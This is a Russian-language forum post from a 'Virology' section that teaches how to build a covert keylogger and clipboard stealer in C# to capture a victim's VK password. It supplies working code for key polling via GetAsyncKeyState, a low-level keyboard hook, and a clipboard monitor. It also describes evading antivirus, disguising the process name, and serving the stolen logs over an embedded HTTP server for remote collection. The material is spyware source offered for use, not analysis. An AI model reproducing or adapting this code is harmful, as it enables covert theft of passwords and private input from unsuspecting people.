Загрузка...

Как написать кейлоггер на C#

Тема в разделе Вирусология создана пользователем Russiaaaq 11 сен 2019. (поднята 9 сен 2019) 2454 просмотра

Загрузка...
  1. Russiaaaq
    Russiaaaq Автор темы 11 сен 2019 Заблокирован(а) 321 10 окт 2018
    Создание кейлоггера на C#
    Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:
    • мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
    • мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
    • мы сможем забирать ****, находясь в той же локальной сети;
    • антивирус должен молчать;
    • файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
    • мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
    Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.


    Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinApi

    другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.

    Теория создания клавиатурного шпиона на C#
    Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.


    Написание кейлоггера на C#
    Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.


    [IMG]
    Заглушка MAIN

    Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.



    еперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.

    Импортируем GetAsyncKeyState из user32.dll:

    1
    2
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);
    И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:


    while (true)
    {
    Thread.Sleep(100);
    for (int i = 0; i < 255; i++)
    {
    int state = GetAsyncKeyState(i);
    if (state != 0)
    {
    buf += ((Keys)i).ToString();
    if (buf.Length > 10)
    {
    File.AppendAllText("keylogger.log", buf);
    buf = "";
    }
    }
    }
    }


    Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давайте не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:

    // Усовершенствованная проверка введенных символов //
    if (((Keys)i) == Keys.Space) { buf += " "; continue; }
    if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
    if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
    if (((Keys)i).ToString().Length == 1)
    {
    buf += ((Keys)i).ToString();
    }
    else
    {
    buf += $"<{((Keys)i).ToString()}>";
    }
    if (buf.Length > 10)
    { File.AppendAllText("keylogger.log", buf);
    buf = "";


    Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:



    // Еще более усовершенствованная проверка //
    bool shift = false;
    short shiftState = (short)GetAsyncKeyState(16);
    // Keys.ShiftKey не работает, поэтому я подставил его числовой эквивалент
    if ((shiftState & 0x8000) == 0x8000)
    {
    shift = true;
    }
    var caps = Console.CapsLock;
    bool isBig = shift | caps;
    Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.

    [IMG]

    Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.


    // Проверка на пробел и Enter //
    if (((Keys)i) == Keys.Space) { buf += " "; continue; }
    if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
    А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.

    if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }
    Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:

    Num Lock;
    функциональные клавиши;
    Print Screen;
    Page Up и Page Down;
    Scroll Lock;
    сочетание Shift + цифровая клавиша;
    Tab;
    Home и End;
    Пуск;
    Alt;
    клавиши со стрелками.
    Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.



    Красивый вариант клавиатурного шпиона
    Теперь попробуем сделать более правильно и будем перехватывать сообщения о нажатии клавиш на клавиатуре. Первые шаги те же: создаем проект Windows Forms и придумываем неприметное название (например, WindowsPrintService). В заглушке, которую нам создала Visual Studio, меняем void Main() на void Main(String[] args). Теперь сделаем простую проверку аргументов:


    if (((Keys)i) == Keys.Space) { buf += " "; continue; }
    if (args != null && args.Length > 0)
    {
    if (args[0] == "-i") {}
    // Здесь проверки по аналогии с предыдущей строкой
    }
    else
    {
    // Запущено без параметров
    }
    Дальше довольно много кода, не буду приводить его весь. Там есть флаги Caps Lock, Shift и прочее, а нажатия определяются гигантским Switch. Но показать я хочу не это, а установку хука на клавиатуру.


    [IMG]


    Сначала мы помещаем ссылку на нашу функцию в переменную callback, потом получаем handle нашей программы, затем устанавливаем хук. А дальше вечно обрабатываем получаемые сообщения каждые 5 мс PeekMessangea


    Важный момент — объявление callback-функции, которая должна точно соответствовать WinAPI, а также передача управления нижележащим обработчикам (см. ниже).


    1
    private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)
    А тут мы передаем управление дальше по цепочке хуков:


    1
    return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)



    [IMG]


    истинг callback-функции
    На этом скрине виден код нашей callback-функции с некоторыми сокращениями (не уместился разбор нажатия клавиш). Обратите внимание на упомянутый выше вызов CallNextHookEx, который нужен, чтобы не только мы получали сообщения о нажатиях клавиш.[IMG]

    Switch, который разбирает Shift + цифровая клавиша


    [IMG]




    На этом скриншоте видна обработка нажатий цифровых клавиш с зажатым шифтом, а на следующем — ситуация с Caps Lock и Shift.

    [IMG]

    Определяем регистр введенного символа
    Клиппер для вытаскивания данных из буфера обмена

    Клиппер — это программа, предназначенная для похищения данных из буфера обмена (название — от слова clipboard). Пригодиться это может, например, на случай, если жертва использует менеджер паролей и копирует пароли оттуда.

    Создадим новую форму Windows, удалим файлы <ИмяФормы>.Designer.cs и <ИмяФормы>.resx. Теперь перейдем в режим редактирования, нажав F7, и приступим к написанию кода. Добавим using System.Runtime.InteropServices и импортируем WinAPI (на скриншоте — в отдельном классе).

    [IMG]


    Класс, импортирующий методы WinAPI

    В конструктор формы вставляем следующий код:


    NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
    NativeMethods.AddClipboardFormatListener(Handle);
    Первый вызов сделает наше окно способным к восприятию системных сообщений, а второй назначит обработчик поступающих сообщений

    Теперь объявим переменную типа String и назовем ее lastWindow. Теперь мы переназначим стандартную функцию обработки сообщений (void WndProc(ref Message m)):


    protected override void WndProc(ref Message m)
    {
    if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
    {
    // Получаем handle активного окна
    IntPtr active_window = NativeMethods.GetForegroundWindow();
    // Получаем заголовок этого окна
    int length = NativeMethods.GetWindowTextLength(active_window);
    StringBuilder sb = new StringBuilder(length + 1);
    NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
    Trace.WriteLine("");
    // Сохраняем содержимое буфера обмена в лог
    Trace.WriteLine("\t[Сtrl-C] Clipboard Copied: " + Clipboard.GetText());
    }
    // Вызываем старый обработчик
    base.WndProc(ref m);
    }
    Для работы этого кода я взял уже готовый класс, который можно просто добавить в проект и не заморачиваться с созданием оберток вокруг WinAPI. Взять его можно на Pastebin


    Запустить клиппер несложно: добавляем ссылку на сборку System.Windows.Forms.dll, добавим using для System.Windows.Forms и System.Threading и добавим в метод запуска логгера следующие строки:\


    Сбор *****
    Следующее, что нам нужно, — это забирать лог удаленно. Поскольку мы не собираемся заниматься промышленным шпионажем, то можно для начала ограничиться доступом из локальной сети. Для этого будет достаточно встроить в наш проект минималистичный сервер HTTP


    Использование тоже весьма примитивное: достаточно создать объект нашего сервера, и он автоматически займет адреса localhost:34000 и <InternalIP>:34000 под HTTP и на этих же адресах порт 34001. Сервер будет возвращать список файлов и папок в виде списка или содержимое файла, если запрошен файл.
    Firewall Manager, Windows Firewall Helper и YFW.Net.


    Алгоритм действий логгера при запуске я показал на картинке.
    [IMG]

    В конструктор нужно передать путь к папке, в которую пишутся **** (или любой другой, которая может понадобиться). По умолчанию **** пишутся в текущую папку, значит, в конструктор передаем Environment.CurrentDirectory.

    Чтобы автоматизировать добавление нашей программы в белый список файрвола, вы можете воспользоваться Windows Firewall API. В этом вам помогут библиотеки-обертки


    Thread clipboardT = new Thread(new ThreadStart(
    delegate {
    Application.Run(new ClipboardMonitorForm());
    }));
    clipboardT.Start();
    Просто? Вот именно. Только добавлять этот вызов нужно после назначения обработчика для Trace, иначе весь вывод улетит в неизвестные дали.


    Удачи


    https://t.me/SISDN
     
Top